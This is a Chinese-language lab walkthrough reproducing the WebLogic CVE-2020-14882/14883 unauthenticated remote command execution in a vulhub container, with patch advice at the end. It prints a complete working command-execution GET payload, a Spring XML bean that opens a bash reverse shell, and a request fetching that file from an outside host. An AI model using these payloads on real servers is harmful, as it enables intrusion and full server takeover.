CVE-2020-14882&14883weblogic未授權命令執行漏洞復現

2020-12-12 湖南蟻景

本文涉及靶場知識點-

CVE-2020-14882&14883 weblogic未授權訪問漏洞

https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECIDfdd4-97c8-4e32-89b7-df58dd102e4c&pk_campaign=weixin-wemedia

簡介

WebLogic 是美國 Oracle 公司的主要產品之一,是商業市場上主要的 J2EE 應用伺服器軟體,也是世界上第一個成功商業化的 J2EE 應用伺服器,在 Java 應用伺服器中有非常廣泛的部署和應用。

概述

10 月 21 日,Oracle 官方發布數百個組件的高危漏洞公告。其中組合利用 CVE-2020-14882/CVE-2020-14883 可使未經授權的攻擊者繞過 WebLogic 後臺登錄等限制,最終遠程執行代碼接管 WebLogic 伺服器,利用難度極低,風險極大。

此處漏洞均存在於 WebLogic 的控制臺中。該組件為 WebLogic 全版本自帶組件,並且該漏洞通過 HTTP 協議進行利用。

CVE-2020-14882允許未授權的用戶繞過管理控制臺的權限驗證訪問後臺,CVE-2020-14883允許後臺任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic伺服器上以未授權的任意用戶身份執行命令。

影響版本

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

環境搭建

此處利用vulhub的環境進行復現,新建docker-compose.yml

version: '2'services:weblogic:image: vulhub/weblogic:12.2.1.3-2018ports:- "7001:7001"

執行以下命令會下載鏡像並以此鏡像啟動一個容器,映射的埠為7001

docker-compose up -d

漏洞復現

權限繞過漏洞(CVE-2020-14882)復現:

因為CVE-2020-14882未授權訪問漏洞是繞過管理控制臺權限訪問後臺,所以需要存在console控制臺,打開瀏覽器訪問:

http://ip:port/console

從上一步結果發現是存在管理控制臺的,在正常訪問console後臺時會讓我們輸入帳號密碼。通過未授權訪問,則可以直接繞過驗證登錄後臺,漏洞

URL:/console/css/%252e%252e%252fconsole.portal

未授權訪問控制臺頁面:

正常輸入帳號密碼登錄控制臺頁面:

通過對比可以看到通過未授權訪問的後臺與正常登陸的後臺差異,由於權限不足,缺少部署等功能,無法安裝應用,所以也無法通過後臺部署war包等方式直接獲取權限。「%252E%252E%252F」為二次url編碼的「../」,通過這個就可以實現穿越路徑未授權訪問相關管理後臺。

後臺任意命令執行漏洞(CVE-2020-14883)復現:

利用方式一

com.tangosol.coherence.mvel2.sh.ShellSession

但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因為 10.3.6 並不存在 com.tangosol.coherence.mvel2.sh.ShellSession 類。

在12.2.1.3版本執行"id"命令 burpsuite

GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1Host: 192.168.74.141:7001Pragma: no-cachecmd: idCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6Cookie: ADMINCONSOLESESSION=ufkDQ2w_WXPmMBVQWCpxVBrNdKxp4L58RhydPTssNxYAmgnYP-4Y!-326883263; ADMINCONSOLESESSION=lGPJf1JPnXR7pG1qZzw0xXmwGtMQcPpJ0GVJrg0pv0LGCS6LdH0g!1599365627Connection: close

回顯payload:

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

在10.3.6版本執行會報錯

利用方式二

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

這是一種更為通殺的方法,最早在CVE-2019-2725被提出,對於所有Weblogic版本均有效。

首先,我們需要構造一個XML文件,並將其保存在Weblogic可以訪問到的伺服器上,這裡是執行一個反彈shell的操作,如

http://example.com/rce.xml:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value></list></constructor-arg></bean></beans>

nc監聽,然後執行一個get請求:

http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.9.198.30/rce.xml")

nc監聽的埠得到反彈shell

經過測試,該方法在12.2.1.3以及10.3.6版本都可以執行

漏洞修復

目前 Oracle 官方已發布了最新針對該漏洞的補丁,請受影響用戶及時下載補丁程序並安裝更新。Oracle 官方補丁需要用戶持有正版軟體的許可帳號,使用該帳號登陸 https://support.oracle.com 後,可以下載最新補丁。

參考連結

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

https://github.com/jas502n/CVE-2020-14882

相關焦點

  • Weblogic IIOP反序列化分析(CVE-2020-2551)
    No.2 漏洞概述2020年1月15日, Oracle官方發布了CVE-2020-2551的漏洞通告,漏洞等級為高危,CVVS評分為9.8分,漏洞利用難度低。影響範圍為10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
  • CVE-2017-11882復現及防禦
    利用觸發器 WebClient 服務從攻擊者控制的 WebDav 伺服器啟動和執行遠程文件。該腳本使用多個 OLE 對象創建簡單的文檔。這些對象利用 CVE-2017-11882,從而導致連續命令執行。
  • Fastjson 1.2.47 遠程命令執行漏洞
    話不多說,今天帶大家復現一下Fastjson1.2.47遠程命令執行漏洞。漏洞實現流程準備環境本次漏洞復現需要有三臺設備(兩臺也可以)主機A:模擬Fastjson漏洞環境(centos7)fastjson ->fastjson1.2.47啟動靶場環境docker-compose up -d, 主機B將以下代碼保存為TouchFile.java (紅色處為遠程命令執行的代碼
  • Edge CVE-2017-0234 漏洞復現與利用
    關注點:R9的值並不是第一次越界寫入時的數組下標,並且JS正常情況下數組越界並不應該產生異常查看異常發生時的調用棧由此可得,是for循環達到一定次數後觸發了JIT機制,而異常就發生在通過JIT編譯後執行的越界寫入中
  • Yii2 反序列化漏洞復現分析
    1、漏洞描述Yii是一套基於組件、用於開發大型Web應用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    圖 :cve 10年增長趨勢 通過圖1-1整體趨勢我們可以看出歷年漏洞數量整體還是持續增長,並且在10年中最明顯的變化2020年的cve數量已經超過
  • CVE-2019-2215復現及分析
    後續文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/。這個漏洞比較好用,並且利用公開的漏洞能夠root最新機器。
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議
  • 乾貨 | CVE-2019-2215 Anroid 10復現及原理
    後續的文章https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,這個漏洞比較好用,並且公開的漏洞中能夠root最新的機器。
  • 雲安全日報201208:思科企業安全管理器發現任意命令執行漏洞,需要...
    12月7日,思科公司發布了緊急安全更新,主要修復了CSM安全管理器中任意命令執行高危漏洞。以下是漏洞詳情:漏洞詳情來源:https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-csm-java-rce-mWJEedcD
  • 高清還原漏洞——被微軟發布又秒刪的遠程預執行代碼漏洞CVE-2020...
    概述  ◆2020年3月10日是微軟補丁日,安全社區注意到Microsoft發布並立即刪除了有關CVE-2020-0796的信息;  ◆2020年3月11日早上,Microsoft發布了可糾正SMBv3協議如何處理特製請求的修補程序;  ◆2020年03月
  • Office系列漏洞經典案例分析與利用
    通過覆蓋函數的返回地址,可執行任意代碼。2017年11月14日,微軟發布了11月份的安全補丁更新,影響流行的所有Office版本。2、漏洞測試使用Command_CVE-2017-11882.py腳本生成漏洞文件。
  • 通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄
    1.基本信息:2017/11/27,CheckPoint軟體技術部門報告了一個華為HG532產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。
  • 如何判斷某漏洞CVE-2020-2551是否存在
    當檢測軟體檢測到漏洞例如CVE-2020-2551,如何判斷是否真的存在此漏洞?點擊下網址的2020年的4個月份,在對應文章裡搜索關鍵字「CVE-2020-2551」,解釋一下:由於CVE-2020-XXXX ,所以漏洞是在2020年發布並解決的,所以要到2020年對應補丁修復文章裡查詢。
  • K8s kubectl 複製命令曝目錄遍歷漏洞
    Twistlock 的安全研究人員 Ariel Zelivansky 披露了 Kubernetes kubectl 複製命令的一個目錄遍歷漏洞。